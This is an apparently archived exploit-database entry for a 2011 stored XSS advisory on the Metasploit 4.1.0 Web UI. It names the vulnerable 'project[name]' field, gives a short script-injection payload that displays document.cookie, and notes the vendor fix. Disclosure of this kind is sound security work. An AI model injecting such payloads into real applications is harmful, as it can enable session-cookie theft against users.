Metasploit 4.1.0 Web UI stored XSS vulnerability

vendor:

Metasploit

by:

Stefan Schurtz

7.5

CVSS

HIGH

Stored XSS

CWE

Product Name: Metasploit

Affected Version From: Metasploit 4.1.0

Affected Version To: Metasploit 4.1.0

Patch Exists: YES

Related CWE: N/A

CPE: a:rapid7:metasploit:4.1.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2011

Metasploit 4.1.0 Web UI stored XSS vulnerability

Metasploit 4.1.0 Web UI 'project[name]' parameter is prone to a XSS vulnerability. Login to Web UI -> Create New Project -> Project name -> '"</script><script>alert(document.cookie)</script>'

Mitigation:

XSS is fixed in Update 20111020000001

Source

Exploit-DB raw data:

Advisory:              		Metasploit 4.1.0 Web UI stored XSS vulnerability
Advisory ID:           	SSCHADV2011-033
Author:                		Stefan Schurtz
Affected Software:  	Successfully tested on Metasploit Community Edition
Vendor URL:          	http://metasploit.com/
Vendor Status:       	informed

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Vulnerability Description:
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Metasploit 4.1.0 Web UI "project[name]" parameter is prone to a XSS vulnerability

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Technical Details:
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Login to Web UI -> Create New Project -> Project name -> '"</script><script>alert(document.cookie)</script>

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Credits:
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Vulnerability found and advisory written by Stefan Schurtz.

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References:
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http://metasploit.com/
http://dev.metasploit.com/redmine/issues/5801
http://www.rul3z.de/advisories/SSCHADV2011-033.txt
XSS is fixed in Update 20111020000001